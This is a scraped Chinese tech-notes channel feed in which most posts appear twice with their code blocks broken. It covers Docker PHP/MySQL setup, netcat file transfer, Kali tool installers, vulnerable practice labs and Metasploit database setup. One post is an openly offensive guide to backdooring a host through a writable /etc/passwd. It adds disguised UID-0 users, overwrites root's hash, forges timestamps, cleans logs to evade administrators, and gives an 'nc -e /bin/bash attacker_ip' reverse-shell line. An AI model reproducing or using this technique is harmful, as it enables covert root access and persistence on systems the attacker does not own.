BroadcastChannel
https://channel.gandli.eu.org/
https://channel.gandli.eu.org/
以下是使用 Docker 官方镜像快速起一个 PHP + MySQL 环境的步骤:
1. 创建 docker-compose.yml
在项目目录下创建一个 docker-compose.yml 文件,内容如下:
version: '3.8'
services:
web:
image: php:apache
container_name: php_web
ports:
- "8080:80"
volumes:
- ./html:/var/www/html
depends_on:
- db
db:
image: mysql:latest
container_name: mysql_db
environment:
MYSQL_ROOT_PASSWORD: rootpassword
MYSQL_DATABASE: mydb
MYSQL_USER: user
MYSQL_PASSWORD: password
ports:
- "3306:3306"
volumes:
- db_data:/var/lib/mysql
volumes:
db_data:
2. 创建项目文件夹和文件
在当前目录创建一个 html 文件夹,并将 PHP 项目文件放入其中。
例如,在 html 文件夹中创建一个简单的测试文件 index.php:
<?php
$servername = "db";
$username = "user";
$password = "password";
$dbname = "mydb";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
echo "Connected successfully";
?>
3. 启动容器
在 docker-compose.yml 文件所在目录运行以下命令:
docker-compose up -d
4. 访问应用
打开浏览器访问 http://localhost:8080,你应该可以看到 PHP 的输出。
数据库服务运行在 localhost:3306,可以使用任何 MySQL 客户端连接,用户名、密码和数据库名称为 user、password 和 mydb。
说明
web 服务:基于官方 php:apache 镜像,提供 PHP 和 Apache 环境。
db 服务:基于官方 mysql 镜像,提供 MySQL 数据库服务。
volumes:用于持久化数据库数据以及挂载本地 PHP 项目代码。
如需更多配置,修改 docker-compose.yml 即可满足需求。
1. 创建 docker-compose.yml
在项目目录下创建一个 docker-compose.yml 文件,内容如下:
version: '3.8'
services:
web:
image: php:apache
container_name: php_web
ports:
- "8080:80"
volumes:
- ./html:/var/www/html
depends_on:
- db
db:
image: mysql:latest
container_name: mysql_db
environment:
MYSQL_ROOT_PASSWORD: rootpassword
MYSQL_DATABASE: mydb
MYSQL_USER: user
MYSQL_PASSWORD: password
ports:
- "3306:3306"
volumes:
- db_data:/var/lib/mysql
volumes:
db_data:
2. 创建项目文件夹和文件
在当前目录创建一个 html 文件夹,并将 PHP 项目文件放入其中。
例如,在 html 文件夹中创建一个简单的测试文件 index.php:
<?php
$servername = "db";
$username = "user";
$password = "password";
$dbname = "mydb";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
echo "Connected successfully";
?>
3. 启动容器
在 docker-compose.yml 文件所在目录运行以下命令:
docker-compose up -d
4. 访问应用
打开浏览器访问 http://localhost:8080,你应该可以看到 PHP 的输出。
数据库服务运行在 localhost:3306,可以使用任何 MySQL 客户端连接,用户名、密码和数据库名称为 user、password 和 mydb。
说明
web 服务:基于官方 php:apache 镜像,提供 PHP 和 Apache 环境。
db 服务:基于官方 mysql 镜像,提供 MySQL 数据库服务。
volumes:用于持久化数据库数据以及挂载本地 PHP 项目代码。
如需更多配置,修改 docker-compose.yml 即可满足需求。
为了实现 PHP 文件的热更新(代码改动后无需重启容器即可生效),可以通过以下方法设置:
修改 docker-compose.yml
确保将本地的 PHP 代码目录挂载到容器中。调整 docker-compose.yml 中 web 服务的 volumes 部分:
version: '3.8'
services:
web:
image: php:apache
container_name: php_web
ports:
- "8080:80"
volumes:
- ./html:/var/www/html # 挂载本地代码
- ./php.ini:/usr/local/etc/php/php.ini # 自定义 PHP 配置(可选)
depends_on:
- db
db:
image: mysql:latest
container_name: mysql_db
environment:
MYSQL_ROOT_PASSWORD: rootpassword
MYSQL_DATABASE: mydb
MYSQL_USER: user
MYSQL_PASSWORD: password
ports:
- "3306:3306"
volumes:
- db_data:/var/lib/mysql
volumes:
db_data:
配置 php.ini (可选)
创建一个 php.ini 文件,并在其中启用开发模式和文件变更检测:
[PHP]
# 启用错误报告(开发环境)
error_reporting = E_ALL
display_errors = On
display_startup_errors = On
# 文件更新检测(适用于 OPcache)
opcache.enable = 1
opcache.validate_timestamps = 1
opcache.revalidate_freq = 0
opcache.max_accelerated_files = 10000
然后将该文件挂载到容器中,如上 volumes 配置。
确保文件挂载生效
1. 本地的 html 文件夹中修改任何 PHP 文件,容器内会实时同步。
2. 通过 Apache 的默认设置,PHP 脚本的更改会立即生效,无需重启服务。
运行并测试
重新启动容器:
docker-compose up -d
修改 html 文件夹中的 PHP 文件,然后刷新浏览器页面,改动应立即生效。
注意事项
开发环境:上述配置适用于开发环境,生产环境通常需要关闭 display_errors 并优化缓存(如 opcache)。
文件挂载问题:确保文件挂载正确,尤其是在非 Linux 系统(如 Windows 或 macOS)下使用 Docker Desktop 时,可能需要额外调整文件共享设置。
修改 docker-compose.yml
确保将本地的 PHP 代码目录挂载到容器中。调整 docker-compose.yml 中 web 服务的 volumes 部分:
version: '3.8'
services:
web:
image: php:apache
container_name: php_web
ports:
- "8080:80"
volumes:
- ./html:/var/www/html # 挂载本地代码
- ./php.ini:/usr/local/etc/php/php.ini # 自定义 PHP 配置(可选)
depends_on:
- db
db:
image: mysql:latest
container_name: mysql_db
environment:
MYSQL_ROOT_PASSWORD: rootpassword
MYSQL_DATABASE: mydb
MYSQL_USER: user
MYSQL_PASSWORD: password
ports:
- "3306:3306"
volumes:
- db_data:/var/lib/mysql
volumes:
db_data:
配置 php.ini (可选)
创建一个 php.ini 文件,并在其中启用开发模式和文件变更检测:
[PHP]
# 启用错误报告(开发环境)
error_reporting = E_ALL
display_errors = On
display_startup_errors = On
# 文件更新检测(适用于 OPcache)
opcache.enable = 1
opcache.validate_timestamps = 1
opcache.revalidate_freq = 0
opcache.max_accelerated_files = 10000
然后将该文件挂载到容器中,如上 volumes 配置。
确保文件挂载生效
1. 本地的 html 文件夹中修改任何 PHP 文件,容器内会实时同步。
2. 通过 Apache 的默认设置,PHP 脚本的更改会立即生效,无需重启服务。
运行并测试
重新启动容器:
docker-compose up -d
修改 html 文件夹中的 PHP 文件,然后刷新浏览器页面,改动应立即生效。
注意事项
开发环境:上述配置适用于开发环境,生产环境通常需要关闭 display_errors 并优化缓存(如 opcache)。
文件挂载问题:确保文件挂载正确,尤其是在非 Linux 系统(如 Windows 或 macOS)下使用 Docker Desktop 时,可能需要额外调整文件共享设置。
如果你只能利用 /etc/passwd 的可读写权限(没有对 /etc/shadow 或其他文件的控制权),可以通过以下方式优化你的方法,以创建一个拥有 root 权限的用户并尽可能隐蔽操作。
---
基础方法
直接在 /etc/passwd 中添加用户:
echo "user1:$(openssl passwd -1 user1):0:0:root:/root:/bin/bash" >> /etc/passwd
user1 是用户名。
openssl passwd -1 user1 用于生成 MD5 加密的密码 user1。
注意: 由于现代系统可能使用 shadow 文件存储密码,这种方法只能在支持 /etc/passwd 密码存储的情况下使用。
---
优化操作
1. 伪装用户名
选择与系统服务类似的用户名以降低可疑性,例如:
systemd-helper:x:0:0:root:/root:/bin/bash
将 user1 替换为更隐蔽的名字,如 systemd-helper 或 networkd.
---
2. 加密密码
生成更复杂的密码哈希:
perl -le "print crypt('YourSecurePassword', 'RandomSalt')"
替换 YourSecurePassword 为你选择的密码,并将结果填入 /etc/passwd,如:
systemd-helper:12WuJNXWqXu6g:0:0:root:/root:/bin/bash
---
3. 时间伪造
恢复 /etc/passwd 文件的时间戳,以避免管理员发现修改痕迹:
touch -r /etc/passwd.bak /etc/passwd
这里 /etc/passwd.bak 是修改前的备份。
---
4. 隐藏用户
将创建的用户伪装为系统进程的用户,避免被直接察觉:
用户名以 _ 或 . 开头(部分工具可能不会显示)。 例如:
.networkd:x:0:0:root:/root:/bin/bash
修改 shell 为 /sbin/nologin,使用以下命令切换 shell 时激活:
.networkd:x:0:0:root:/root:/sbin/nologin
后续可通过 su .networkd 或直接切换到 root 用户。
---
特殊利用方式
1. 覆盖现有用户密码
找到目标系统中已存在的高权限用户(如 root),直接覆盖其密码字段:
root:12WuJNXWqXu6g:0:0:root:/root:/bin/bash
通过这种方式,你可以复用 root 用户,而不会新增条目。
2. 劫持其他用户的账户
将目标普通用户的 UID 和 GID 设置为 0:
targetuser:x:0:0:target:/home/target:/bin/bash
这样,targetuser 实际变为 root。
3. 恶意脚本植入
在 /etc/passwd 的备注字段插入命令(需环境支持):
user1:x:0:0:root:/root:/bin/bash:/bin/bash #
备注字段理论上不会影响用户功能,但如果某些系统工具执行这段命令,可达到执行后门的目的。
---
注意事项
1. 兼容性:
部分系统可能忽略 /etc/passwd 中的密码字段(如果启用了 /etc/shadow)。
测试目标环境是否支持 /etc/passwd 内存储密码。
2. 隐蔽性:
避免高频操作;伪装用户名与系统服务一致。
恢复文件时间戳,并清理任何可能的日志痕迹。
3. 审计风险:
/etc/passwd 的变更很容易触发系统安全工具警报。
优化清理工作以降低被检测的可能性。
---
基础方法
直接在 /etc/passwd 中添加用户:
echo "user1:$(openssl passwd -1 user1):0:0:root:/root:/bin/bash" >> /etc/passwd
user1 是用户名。
openssl passwd -1 user1 用于生成 MD5 加密的密码 user1。
注意: 由于现代系统可能使用 shadow 文件存储密码,这种方法只能在支持 /etc/passwd 密码存储的情况下使用。
---
优化操作
1. 伪装用户名
选择与系统服务类似的用户名以降低可疑性,例如:
systemd-helper:x:0:0:root:/root:/bin/bash
将 user1 替换为更隐蔽的名字,如 systemd-helper 或 networkd.
---
2. 加密密码
生成更复杂的密码哈希:
perl -le "print crypt('YourSecurePassword', 'RandomSalt')"
替换 YourSecurePassword 为你选择的密码,并将结果填入 /etc/passwd,如:
systemd-helper:12WuJNXWqXu6g:0:0:root:/root:/bin/bash
---
3. 时间伪造
恢复 /etc/passwd 文件的时间戳,以避免管理员发现修改痕迹:
touch -r /etc/passwd.bak /etc/passwd
这里 /etc/passwd.bak 是修改前的备份。
---
4. 隐藏用户
将创建的用户伪装为系统进程的用户,避免被直接察觉:
用户名以 _ 或 . 开头(部分工具可能不会显示)。 例如:
.networkd:x:0:0:root:/root:/bin/bash
修改 shell 为 /sbin/nologin,使用以下命令切换 shell 时激活:
.networkd:x:0:0:root:/root:/sbin/nologin
后续可通过 su .networkd 或直接切换到 root 用户。
---
特殊利用方式
1. 覆盖现有用户密码
找到目标系统中已存在的高权限用户(如 root),直接覆盖其密码字段:
root:12WuJNXWqXu6g:0:0:root:/root:/bin/bash
通过这种方式,你可以复用 root 用户,而不会新增条目。
2. 劫持其他用户的账户
将目标普通用户的 UID 和 GID 设置为 0:
targetuser:x:0:0:target:/home/target:/bin/bash
这样,targetuser 实际变为 root。
3. 恶意脚本植入
在 /etc/passwd 的备注字段插入命令(需环境支持):
user1:x:0:0:root:/root:/bin/bash:/bin/bash #
nc -e /bin/bash attacker_ip 4444备注字段理论上不会影响用户功能,但如果某些系统工具执行这段命令,可达到执行后门的目的。
---
注意事项
1. 兼容性:
部分系统可能忽略 /etc/passwd 中的密码字段(如果启用了 /etc/shadow)。
测试目标环境是否支持 /etc/passwd 内存储密码。
2. 隐蔽性:
避免高频操作;伪装用户名与系统服务一致。
恢复文件时间戳,并清理任何可能的日志痕迹。
3. 审计风险:
/etc/passwd 的变更很容易触发系统安全工具警报。
优化清理工作以降低被检测的可能性。
perl -le "print crypt('user1','123')"
12WuJNXWqXu6g
echo "user1:12WuJNXWqXu6g:0:0:root:/root:/bin/bash" >> /etc/passwd
创建一个 user1/user1 的root用户
#创建用户
12WuJNXWqXu6g
echo "user1:12WuJNXWqXu6g:0:0:root:/root:/bin/bash" >> /etc/passwd
创建一个 user1/user1 的root用户
#创建用户
### 使用 `nc`(Netcat)上传和下载文件夹与文件
`nc`(Netcat)是一个功能强大的网络工具,可以用于创建 TCP/UDP 连接。在文件传输方面,它被广泛应用于上传和下载文件,甚至可以传输整个目录。
在使用 `nc` 上传和下载文件夹时,由于
### 1. 使用 `nc` 上传单个文件
#### 发送方(上传方):
- `cat filename`:读取文件内容。
- `nc -lvp 4444`:在本地 `4444` 端口监听,等待接收数据。
#### 接收方(下载方):
-
- `> filename`:将接收到的数据写入本地文件。
### 2. 使用 `nc` 上传整个文件夹
由于
#### 发送方(上传方):
-
-
#### 接收方(下载方):
-
- `| tar -xzf -`:解压接收到的数据并恢复文件夹。
### 3. 使用 `nc` 上传和下载多个文件或目录(批量传输)
如果你需要批量传输多个文件或目录,依然可以利用
#### 发送方(上传方):
- `tar -czf -`:打包多个文件和目录。
- `/path/to/dir1 /path/to/dir2 /path/to/file1`:指定多个文件和目录。
-
#### 接收方(下载方):
- `nc 192.168.1.10 4444`:连接到发送方的 IP 和端口。
- `| tar -xzf -`:解压接收到的内容并恢复文件夹结构。
### 4. 使用 `nc` 传输大文件时的注意事项
传输大文件时,`nc` 默认情况下不会提供进度反馈,因此你可能希望在传输过程中查看进度。你可以使用 `pv`(Pipe Viewer)来查看传输进度。
#### 发送方(上传方):
#### 接收方(下载方):
### 5. 使用 `nc` 进行双向传输(文件和文件夹)
如果你想进行双向传输(既能上传文件又能下载文件),可以在两台机器上分别开启
#### 发送方(上传方):
#### 接收方(下载方):
### 总结
1. **单个文件**:可以直接使用
2. **文件夹**:使用
3. **进度显示**:使用
4. **批量传输**:打包多个文件或文件夹后进行传输。
#nc #文件传输 #tar #Linux #网络工具
`nc`(Netcat)是一个功能强大的网络工具,可以用于创建 TCP/UDP 连接。在文件传输方面,它被广泛应用于上传和下载文件,甚至可以传输整个目录。
在使用 `nc` 上传和下载文件夹时,由于
nc 本身并不直接支持目录结构的传输,你需要借助一些额外的工具(如 tar`)来压缩目录,并通过 `nc 进行传输。以下是使用 nc 上传和下载文件和文件夹的详细方法。### 1. 使用 `nc` 上传单个文件
#### 发送方(上传方):
cat filename | nc -lvp 4444- `cat filename`:读取文件内容。
- `nc -lvp 4444`:在本地 `4444` 端口监听,等待接收数据。
#### 接收方(下载方):
nc 192.168.1.10 4444 > filename-
nc 192.168.1.10 4444`:连接到发送方的 IP(例如 `192.168.1.10`)的 `4444 端口。- `> filename`:将接收到的数据写入本地文件。
### 2. 使用 `nc` 上传整个文件夹
由于
nc 不支持直接传输文件夹,你可以使用 tar 来打包整个文件夹,然后通过 nc 进行传输。#### 发送方(上传方):
tar -czf - /path/to/directory | nc -lvp 4444-
tar -czf - /path/to/directory`:使用 `tar 压缩并打包文件夹内容,`-` 表示将压缩数据输出到标准输出。-
| nc -lvp 4444`:将压缩的文件通过 `nc 发送到目标机器。#### 接收方(下载方):
nc 192.168.1.10 4444 | tar -xzf --
nc 192.168.1.10 4444`:连接到发送方的 `4444 端口。- `| tar -xzf -`:解压接收到的数据并恢复文件夹。
### 3. 使用 `nc` 上传和下载多个文件或目录(批量传输)
如果你需要批量传输多个文件或目录,依然可以利用
tar 来打包所有内容。#### 发送方(上传方):
tar -czf - /path/to/dir1 /path/to/dir2 /path/to/file1 | nc -lvp 4444- `tar -czf -`:打包多个文件和目录。
- `/path/to/dir1 /path/to/dir2 /path/to/file1`:指定多个文件和目录。
-
| nc -lvp 4444`:通过 `nc 将打包内容发送给接收方。#### 接收方(下载方):
nc 192.168.1.10 4444 | tar -xzf -- `nc 192.168.1.10 4444`:连接到发送方的 IP 和端口。
- `| tar -xzf -`:解压接收到的内容并恢复文件夹结构。
### 4. 使用 `nc` 传输大文件时的注意事项
传输大文件时,`nc` 默认情况下不会提供进度反馈,因此你可能希望在传输过程中查看进度。你可以使用 `pv`(Pipe Viewer)来查看传输进度。
#### 发送方(上传方):
tar -czf - /path/to/directory | pv | nc -lvp 4444#### 接收方(下载方):
nc 192.168.1.10 4444 | pv | tar -xzf -### 5. 使用 `nc` 进行双向传输(文件和文件夹)
如果你想进行双向传输(既能上传文件又能下载文件),可以在两台机器上分别开启
nc 监听和连接。你需要确保每个命令在正确的机器上运行。#### 发送方(上传方):
tar -czf - /path/to/directory | nc -lvp 4444#### 接收方(下载方):
nc 192.168.1.10 4444 | tar -xzf -### 总结
1. **单个文件**:可以直接使用
cat 和 nc 进行传输。2. **文件夹**:使用
tar 打包文件夹后,通过 nc 传输。3. **进度显示**:使用
pv 显示传输进度。4. **批量传输**:打包多个文件或文件夹后进行传输。
nc 是一个非常强大的工具,结合其他工具(如 tar 和 pv`),可以方便地用于文件夹的上传和下载。虽然它不像 `scp 或 rsync 那样内建加密和验证,但它在某些环境中依然是一个非常高效且简单的选择。#nc #文件传输 #tar #Linux #网络工具
# kali
1 . 换源
[LinuxMirrors](https://linuxmirrors.cn/use)
> GNU/Linux 更换系统软件源脚本及 Docker 安装脚本
2. Docker 安装脚本
4. Node.js
5. Python
6. snap
8. oh my zsh 、zplug
9. font
10 . shell 历史记录
11. docker 靶场
快速启动php web 服务
[sqli-labs](https://github.com/Audi-1/sqli-labs)
> SQLI 实验室测试基于错误、基于盲布尔值、基于时间。
[docker-dvwa](https://github.com/infoslack/docker-dvwa)
> DVWA(极易受攻击的Web应用程序)的Docker镜像
[upload-labs](https://github.com/c0ny1/upload-labs)
> 一个想帮你总结所有类型的上传漏洞的靶场
[pikachu](https://github.com/zhuifengshaonianhanlu/pikachu)
> 一个好玩的Web安全-漏洞测试平台
[php_ser_Class](https://github.com/mcc0624/php_ser_Class)
> php反序列化靶场课程,基于课程制作的靶场
[PHPSerialize-labs](https://github.com/ProbiusOfficial/PHPSerialize-labs)
> PHPSerialize-labs是一个使用php语言编写的,用于学习CTF中PHP反序列化的入门靶场。旨在帮助大家对PHP的序列化和反序列化有一个全面的了解。
[PHP-LAB](https://github.com/ShangRui-hash/php-lab)
> 基于docker搭建的一套环境,方便测试同一套PHP代码在不同PHP版本下运行的不一致性
[DPanel](https://github.com/donknap/dpanel)
> docker可视化管理面板
[Watchtower](https://github.com/containrrr/watchtower)
> 用于自动更新Docker容器基础镜像的流程。
#kali #docker #靶场
1 . 换源
[LinuxMirrors](https://linuxmirrors.cn/use)
> GNU/Linux 更换系统软件源脚本及 Docker 安装脚本
bash <(curl -sSL https://gitee.com/SuperManito/LinuxMirrors/raw/main/ChangeMirrors.sh)2. Docker 安装脚本
bash <(curl -sSL https://gitee.com/SuperManito/LinuxMirrors/raw/main/DockerInstallation.sh)
sudo usermod -aG docker $USER
newgrp docker4. Node.js
curl -fsSL https://fnm.vercel.app/install | bash5. Python
sudo apt update; sudo apt install build-essential libssl-dev zlib1g-dev \
libbz2-dev libreadline-dev libsqlite3-dev curl git \
libncursesw5-dev xz-utils tk-dev libxml2-dev libxmlsec1-dev libffi-dev liblzma-dev
curl https://pyenv.run | bash6. snap
sudo apt install -y snapd
sudo systemctl enable --now snapd apparmor
echo export PATH=$PATH:/snap/bin >> .zshrc8. oh my zsh 、zplug
sh -c "$(curl -fsSL https://mirror.ghproxy.com/https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
curl -sL --proto-redir -all,https https://raw.githubusercontent.com/zplug/installer/master/installer.zsh | zshsource ~/.zplug/init.zsh
# History config
HISTSIZE=10000
SAVEHIST=10000
HISTFILE=~/.zsh_history
# zplug plugins
zplug "romkatv/powerlevel10k", as:theme, depth:1
zplug 'zplug/zplug', hook-build:'zplug --self-manage'
zplug "zsh-users/zsh-completions"
zplug "zsh-users/zsh-history-substring-search"
zplug "zsh-users/zsh-autosuggestions"
zplug "zdharma/fast-syntax-highlighting"
zplug "zpm-zsh/ls"
zplug "plugins/docker", from:oh-my-zsh
zplug "plugins/composer", from:oh-my-zsh
zplug "plugins/extract", from:oh-my-zsh
zplug "lib/completion", from:oh-my-zsh
zplug "plugins/sudo", from:oh-my-zsh
zplug "b4b4r07/enhancd", use:init.sh
# Install packages that have not been installed yet
if ! zplug check --verbose; then
printf "Install? [y/N]: "
if read -q; then
echo; zplug install
else
echo
fi
fi
zplug load9. font
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/JetBrains/JetBrainsMono/master/install_manual.sh)"10 . shell 历史记录
bash <(curl https://raw.githubusercontent.com/ellie/atuin/main/install.sh)11. docker 靶场
快速启动php web 服务
docker run -d -p 80:80 -v /home/kali/44227.php:/var/www/html/index.php php:apache[sqli-labs](https://github.com/Audi-1/sqli-labs)
> SQLI 实验室测试基于错误、基于盲布尔值、基于时间。
[docker-dvwa](https://github.com/infoslack/docker-dvwa)
> DVWA(极易受攻击的Web应用程序)的Docker镜像
[upload-labs](https://github.com/c0ny1/upload-labs)
> 一个想帮你总结所有类型的上传漏洞的靶场
docker run --name dvwa -dt -p 81:80 infoslack/dvwa
docker run --name sqli-lab -dt -p 82:80 acgpiano/sqli-labs:latest
docker run --name upload-labs -dt -p 83:80 c0ny1/upload-labs[pikachu](https://github.com/zhuifengshaonianhanlu/pikachu)
> 一个好玩的Web安全-漏洞测试平台
git clone https://gitclone.com/github.com/zhuifengshaonianhanlu/pikachu.git depth 1
docker build -t "pikachu" .
docker run -d --name pikchu -p 84:80 pikachu[php_ser_Class](https://github.com/mcc0624/php_ser_Class)
> php反序列化靶场课程,基于课程制作的靶场
docker pull mcc0624/ser:1.8
docker run -d --name php_ser_Class -p 85:80 mcc0624/ser:1.8[PHPSerialize-labs](https://github.com/ProbiusOfficial/PHPSerialize-labs)
> PHPSerialize-labs是一个使用php语言编写的,用于学习CTF中PHP反序列化的入门靶场。旨在帮助大家对PHP的序列化和反序列化有一个全面的了解。
git clone --depth 1 https://github.com/ProbiusOfficial/PHPSerialize-labs.git
cd PHPSerialize-labs
sudo docker compose up -d[PHP-LAB](https://github.com/ShangRui-hash/php-lab)
> 基于docker搭建的一套环境,方便测试同一套PHP代码在不同PHP版本下运行的不一致性
git clone https://github.com/ShangRui-hash/php-lab.git --edpth 1
docker compose up --build --remove-orphans [DPanel](https://github.com/donknap/dpanel)
> docker可视化管理面板
docker run -it -d --name dpanel --restart=always \
-p 90:8080 -e APP_NAME=dpanel \
-v /var/run/docker.sock:/var/run/docker.sock -v dpanel:/dpanel \
dpanel/dpanel:lite[Watchtower](https://github.com/containrrr/watchtower)
> 用于自动更新Docker容器基础镜像的流程。
docker run --detach \
--name watchtower \
--volume /var/run/docker.sock:/var/run/docker.sock \
containrrr/watchtower#kali #docker #靶场
### 设置 PostgreSQL 自启动并连接到 Metasploit
要使 PostgreSQL 自启动并连接到 Metasploit,通常需要按照以下步骤操作:
1. 启动 PostgreSQL 服务
确保 PostgreSQL 服务已启动。如果没有启动,可以通过以下命令启动:
如果使用的是系统自带的 PostgreSQL 服务管理工具,也可以使用:
2. 设置 PostgreSQL 自启动
为了使 PostgreSQL 在系统启动时自动启动,可以通过以下命令启用自启动:
3. 检查 PostgreSQL 服务状态
运行以下命令检查 PostgreSQL 服务的状态,确保它正在运行:
4. 连接 Metasploit 到 PostgreSQL
如果 PostgreSQL 已成功启动并运行,可以通过以下命令连接到 PostgreSQL 数据库:
5. 验证连接
运行
如果输出类似以下内容,说明数据库连接已成功:
这样,你就设置了 PostgreSQL 自启动,并且确保 Metasploit 已连接到数据库。
#关键词 #PostgreSQL #Metasploit #自启动 #数据库连接
要使 PostgreSQL 自启动并连接到 Metasploit,通常需要按照以下步骤操作:
1. 启动 PostgreSQL 服务
确保 PostgreSQL 服务已启动。如果没有启动,可以通过以下命令启动:
sudo service postgresql start
如果使用的是系统自带的 PostgreSQL 服务管理工具,也可以使用:
sudo systemctl start postgresql
2. 设置 PostgreSQL 自启动
为了使 PostgreSQL 在系统启动时自动启动,可以通过以下命令启用自启动:
sudo systemctl enable postgresql
3. 检查 PostgreSQL 服务状态
运行以下命令检查 PostgreSQL 服务的状态,确保它正在运行:
sudo systemctl status postgresql
4. 连接 Metasploit 到 PostgreSQL
如果 PostgreSQL 已成功启动并运行,可以通过以下命令连接到 PostgreSQL 数据库:
msfdb init
msfdb init 会初始化并连接到 PostgreSQL 数据库。如果之前没有初始化数据库,这个命令会自动设置数据库连接并启动相关服务。5. 验证连接
运行
db_status 命令来确认是否已经成功连接: msf6 > db_status
如果输出类似以下内容,说明数据库连接已成功:
[+] postgresql connected to msf
这样,你就设置了 PostgreSQL 自启动,并且确保 Metasploit 已连接到数据库。
#关键词 #PostgreSQL #Metasploit #自启动 #数据库连接
### MSF 中
在 Metasploit 框架中,`db_status` 命令用于检查数据库的连接状态。如果你看到
以下是几个常见的解决方法:
### 1. 启动 PostgreSQL 服务
Metasploit 默认使用 PostgreSQL 作为数据库。如果数据库未启动,Metasploit 就无法连接。你可以使用以下命令来启动 PostgreSQL 服务:
或者,使用
### 2. 配置 PostgreSQL 数据库
Metasploit 需要一个数据库来存储会话和其他数据。如果 PostgreSQL 服务已启动但仍然没有连接,可能是数据库配置问题。
首先,确保 Metasploit 使用的是正确的数据库配置。在 Kali Linux 中,可以使用以下命令初始化和配置数据库:
该命令会:
- 安装 PostgreSQL(如果尚未安装)
- 初始化数据库
- 启动 PostgreSQL 服务
- 创建 Metasploit 所需的数据库和表格
### 3. 检查 PostgreSQL 用户权限
有时 PostgreSQL 配置中的用户权限可能会导致连接问题。你可以尝试重新配置 PostgreSQL 用户,以确保 Metasploit 使用正确的凭据连接。
然后在 PostgreSQL 命令行中,设置用户的权限:
### 4. 验证数据库连接
一旦启动 PostgreSQL 服务并重新配置数据库,使用以下命令验证 Metasploit 是否能连接到数据库:
如果数据库连接成功,你应该看到类似于:
### 5. 检查 PostgreSQL 日志
如果上述步骤没有解决问题,可以查看 PostgreSQL 的日志文件,可能会提供更详细的错误信息。日志通常位于
### 总结
要解决
#关键词 #Metasploit #db_status #PostgreSQL #连接问题 #数据库配置
db_status 报告 "no connection" 错误在 Metasploit 框架中,`db_status` 命令用于检查数据库的连接状态。如果你看到
[*] postgresql selected, no connection 的消息,这表示 Metasploit 没有成功连接到 PostgreSQL 数据库。这通常是因为数据库未启动或配置不正确。以下是几个常见的解决方法:
### 1. 启动 PostgreSQL 服务
Metasploit 默认使用 PostgreSQL 作为数据库。如果数据库未启动,Metasploit 就无法连接。你可以使用以下命令来启动 PostgreSQL 服务:
sudo service postgresql start或者,使用
systemctl 命令:sudo systemctl start postgresql### 2. 配置 PostgreSQL 数据库
Metasploit 需要一个数据库来存储会话和其他数据。如果 PostgreSQL 服务已启动但仍然没有连接,可能是数据库配置问题。
首先,确保 Metasploit 使用的是正确的数据库配置。在 Kali Linux 中,可以使用以下命令初始化和配置数据库:
msfdb init该命令会:
- 安装 PostgreSQL(如果尚未安装)
- 初始化数据库
- 启动 PostgreSQL 服务
- 创建 Metasploit 所需的数据库和表格
### 3. 检查 PostgreSQL 用户权限
有时 PostgreSQL 配置中的用户权限可能会导致连接问题。你可以尝试重新配置 PostgreSQL 用户,以确保 Metasploit 使用正确的凭据连接。
sudo -u postgres createuser msf
sudo -u postgres createdb msf_database
sudo -u postgres psql然后在 PostgreSQL 命令行中,设置用户的权限:
ALTER USER msf WITH PASSWORD 'msf_password';
GRANT ALL PRIVILEGES ON DATABASE msf_database TO msf;### 4. 验证数据库连接
一旦启动 PostgreSQL 服务并重新配置数据库,使用以下命令验证 Metasploit 是否能连接到数据库:
msfconsole
msf6 > db_status如果数据库连接成功,你应该看到类似于:
[*] postgresql connected to msf_database### 5. 检查 PostgreSQL 日志
如果上述步骤没有解决问题,可以查看 PostgreSQL 的日志文件,可能会提供更详细的错误信息。日志通常位于
/var/log/postgresql/ 目录。### 总结
要解决
no connection 错误,首先确保 PostgreSQL 服务正在运行并正确配置。使用 msfdb init 命令重新初始化 Metasploit 数据库,确认 PostgreSQL 配置和权限没有问题。#关键词 #Metasploit #db_status #PostgreSQL #连接问题 #数据库配置
### 自启动 PostgreSQL 服务
要确保 PostgreSQL 在系统启动时自动启动,你需要配置其为开机自启。根据使用的系统,配置方法略有不同。
#### 在 Linux 上(以 Debian 或 Kali Linux 为例)
1. 检查 PostgreSQL 服务是否支持自启动
PostgreSQL 默认在大多数 Linux 发行版上使用
2. 启用 PostgreSQL 自启动
使用以下命令启用 PostgreSQL 服务在系统启动时自动启动:
该命令会将 PostgreSQL 服务设置为系统启动时自动启动。
3. 启动 PostgreSQL 服务(如果尚未启动)
如果 PostgreSQL 尚未启动,你可以手动启动它:
4. 验证 PostgreSQL 是否启用了自启动
使用以下命令验证 PostgreSQL 是否已启用自启动:
如果返回
#### 其他常见 Linux 发行版
- **Ubuntu/Debian(使用 `systemd`)**:
PostgreSQL 默认已配置为自启动,使用 `systemctl` 管理。你只需运行上面的
- **CentOS/RHEL(使用 `systemd`)**:
同样,使用 `systemctl` 命令管理服务:
#### 在 macOS 上(通过 Homebrew)
如果你通过 Homebrew 安装了 PostgreSQL,可以使用以下命令设置 PostgreSQL 在启动时自启:
这将会在系统启动时自动启动 PostgreSQL 服务。
### 总结
要确保 PostgreSQL 自启动,主要步骤是使用
#关键词 #PostgreSQL #自启动 #systemd #开机启动 #Linux
要确保 PostgreSQL 在系统启动时自动启动,你需要配置其为开机自启。根据使用的系统,配置方法略有不同。
#### 在 Linux 上(以 Debian 或 Kali Linux 为例)
1. 检查 PostgreSQL 服务是否支持自启动
PostgreSQL 默认在大多数 Linux 发行版上使用
systemd 来管理服务。在系统启动时,`systemd` 会自动启动已配置为开机自启的服务。2. 启用 PostgreSQL 自启动
使用以下命令启用 PostgreSQL 服务在系统启动时自动启动:
sudo systemctl enable postgresql
该命令会将 PostgreSQL 服务设置为系统启动时自动启动。
3. 启动 PostgreSQL 服务(如果尚未启动)
如果 PostgreSQL 尚未启动,你可以手动启动它:
sudo systemctl start postgresql
4. 验证 PostgreSQL 是否启用了自启动
使用以下命令验证 PostgreSQL 是否已启用自启动:
sudo systemctl is-enabled postgresql
如果返回
enabled`,则表示 PostgreSQL 已配置为开机自启。如果返回 `disabled`,则需要重新执行 `sudo systemctl enable postgresql 命令。#### 其他常见 Linux 发行版
- **Ubuntu/Debian(使用 `systemd`)**:
PostgreSQL 默认已配置为自启动,使用 `systemctl` 管理。你只需运行上面的
systemctl enable postgresql 即可。- **CentOS/RHEL(使用 `systemd`)**:
同样,使用 `systemctl` 命令管理服务:
sudo systemctl enable postgresql
sudo systemctl start postgresql
